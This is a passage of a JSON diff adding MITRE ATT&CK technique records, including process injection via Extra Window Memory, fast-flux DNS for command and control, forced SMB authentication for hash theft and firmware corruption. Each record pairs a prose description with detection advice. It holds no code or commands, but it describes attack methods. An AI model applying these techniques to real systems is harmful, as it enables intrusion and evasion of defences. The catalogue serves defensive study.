unusual access patterns, windows of activity, and access outside of normal business hours.\n\nWhen authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1133", + "external_id": "T1133", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/555.html", + "external_id": "CAPEC-555", + "source_name": "capec" + }, + { + "url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac", + "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.", + "source_name": "MacOS VNC software for Remote Desktop" + }, + { + "source_name": "Volexity Virtual Private Keylogging", + "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.", + "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" + }, + { + "url": "https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html", + "description": "Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.", + "source_name": "Trend Micro Exposed Docker Server" + }, + { + "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", + "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.", + "source_name": "Unit 42 Hildegard Malware" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-11-10T18:29:30.479Z", + "name": "Extra Window Memory Injection", + "created": "2018-01-16T16:13:52.465Z", + "id": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1181", + "external_id": "T1181", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Window Classes", + "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx" + }, + { + "source_name": "Microsoft GetWindowLong function", + "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx" + }, + { + "source_name": "Microsoft SetWindowLong function", + "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "MalwareTech Power Loader Aug 2013", + "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.", + "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html" + }, + { + "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013", + "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.", + "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/" + }, + { + "source_name": "Microsoft SendNotifyMessage function", + "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Extra Window Memory Injection", + "x_mitre_data_sources": [ + "Process: OS API Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-11-10T18:29:31.004Z", + "created": "2020-01-14T17:18:32.126Z", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Application control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298", + "description": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1055/011", + "external_id": "T1055.011", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Window Classes", + "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx" + }, + { + "source_name": "Microsoft GetWindowLong function", + "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx" + }, + { + "source_name": "Microsoft SetWindowLong function", + "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "MalwareTech Power Loader Aug 2013", + "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.", + "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html" + }, + { + "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013", + "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.", + "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/" + }, + { + "source_name": "Microsoft SendNotifyMessage function", + "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-07-14T19:49:47.340Z", + "name": "Fallback Channels", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1008", + "external_id": "T1008", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_version": "1.0", + "created": "2017-05-31T21:30:21.689Z", + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Fast Flux DNS", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-27T16:10:37.183Z", + "created": "2020-03-11T14:11:16.560Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6", + "description": "Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1568/001", + "external_id": "T1568.001", + "source_name": "mitre-attack" + }, + { + "source_name": "MehtaFastFluxPt1", + "description": "Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.", + "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref" + }, + { + "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref", + "description": "Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.", + "source_name": "MehtaFastFluxPt2" + }, + { + "url": "https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/", + "description": "Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020.", + "source_name": "Fast Flux - Welivesecurity" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-31T12:36:39.086Z", + "name": "File Deletion", + "created": "2017-05-31T21:31:17.915Z", + "id": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1107", + "external_id": "T1107", + "source_name": "mitre-attack" + }, + { + "source_name": "Trend Micro APT Attack Tools", + "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "File Deletion", + "x_mitre_data_sources": [ + "File: File Deletion", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-29T21:34:16.209Z", + "created": "2020-01-31T12:35:36.479Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "x_mitre_defense_bypassed": [ + "Host forensic analysis" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)", + "x_mitre_contributors": [ + "Walker Johnson" + ], + "x_mitre_detection": "It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1070/004", + "external_id": "T1070.004", + "source_name": "mitre-attack" + }, + { + "source_name": "Trend Micro APT Attack Tools", + "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-19T15:11:39.627Z", + "name": "File System Permissions Weakness", + "created": "2017-05-31T21:30:43.063Z", + "id": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1044", + "external_id": "T1044", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/17.html", + "external_id": "CAPEC-17", + "source_name": "capec" + }, + { + "source_name": "Mozilla Firefox Installer DLL Hijack", + "description": "Kugler, R. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.", + "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/" + }, + { + "source_name": "Seclists Kanthak 7zip Installer", + "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.", + "url": "http://seclists.org/fulldisclosure/2015/Dec/34" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-08-21T14:41:22.911Z", + "name": "File Transfer Protocols", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "created": "2020-03-15T16:16:25.763Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", + "description": "Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1071/002", + "external_id": "T1071.002", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "File and Directory Discovery", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1083", + "external_id": "T1083", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/127.html", + "external_id": "CAPEC-127", + "source_name": "capec" + }, + { + "url": "https://capec.mitre.org/data/definitions/497.html", + "external_id": "CAPEC-497", + "source_name": "capec" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + } + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "1.3", + "modified": "2021-08-23T20:44:32.048Z", + "x_mitre_system_requirements": [ + "Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls" + ], + "id": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created": "2017-05-31T21:31:04.710Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "File and Directory Permissions Modification", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Active Directory: Active Directory Object Modification", + "File: File Metadata" + ], + "x_mitre_version": "2.1", + "modified": "2021-09-13T21:08:10.406Z", + "created": "2018-10-17T00:14:20.652Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196", + "x_mitre_defense_bypassed": [ + "File system access controls" + ], + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM", + "root" + ], + "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).", + "x_mitre_contributors": [ + "CrowdStrike Falcon OverWatch", + "Jan Miller, CrowdStrike" + ], + "x_mitre_detection": "Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1222", + "external_id": "T1222", + "source_name": "mitre-attack" + }, + { + "source_name": "Hybrid Analysis Icacls1 June 2018", + "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.", + "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100" + }, + { + "source_name": "Hybrid Analysis Icacls2 May 2018", + "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.", + "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110" + }, + { + "source_name": "EventTracker File Permissions Feb 2014", + "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.", + "url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Firmware", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:22:46.759Z", + "created": "2020-10-02T16:46:42.537Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d", + "description": "Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1592/003", + "external_id": "T1592.003", + "source_name": "mitre-attack" + }, + { + "url": "https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/", + "description": "Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel source code and proprietary data dumped online. Retrieved October 20, 2020.", + "source_name": "ArsTechnica Intel" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Firmware Corruption", + "x_mitre_data_sources": [ + "Firmware: Firmware Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-07-14T19:31:46.550Z", + "created": "2019-04-12T18:28:15.451Z", + "x_mitre_permissions_required": [ + "Administrator", + "root", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89", + "description": "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1495", + "external_id": "T1495", + "source_name": "mitre-attack" + }, + { + "url": "https://www.symantec.com/security-center/writeup/2000-122010-2655-99", + "description": "Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019.", + "source_name": "Symantec Chernobyl W95.CIH" + }, + { + "source_name": "MITRE Trustworthy Firmware Measurement", + "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.", + "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-06-19T17:16:41.470Z", + "name": "Forced Authentication", + "x_mitre_data_sources": [ + "File: File Access", + "File: File Creation", + "File: File Modification", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.2", + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2", + "description": "Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext 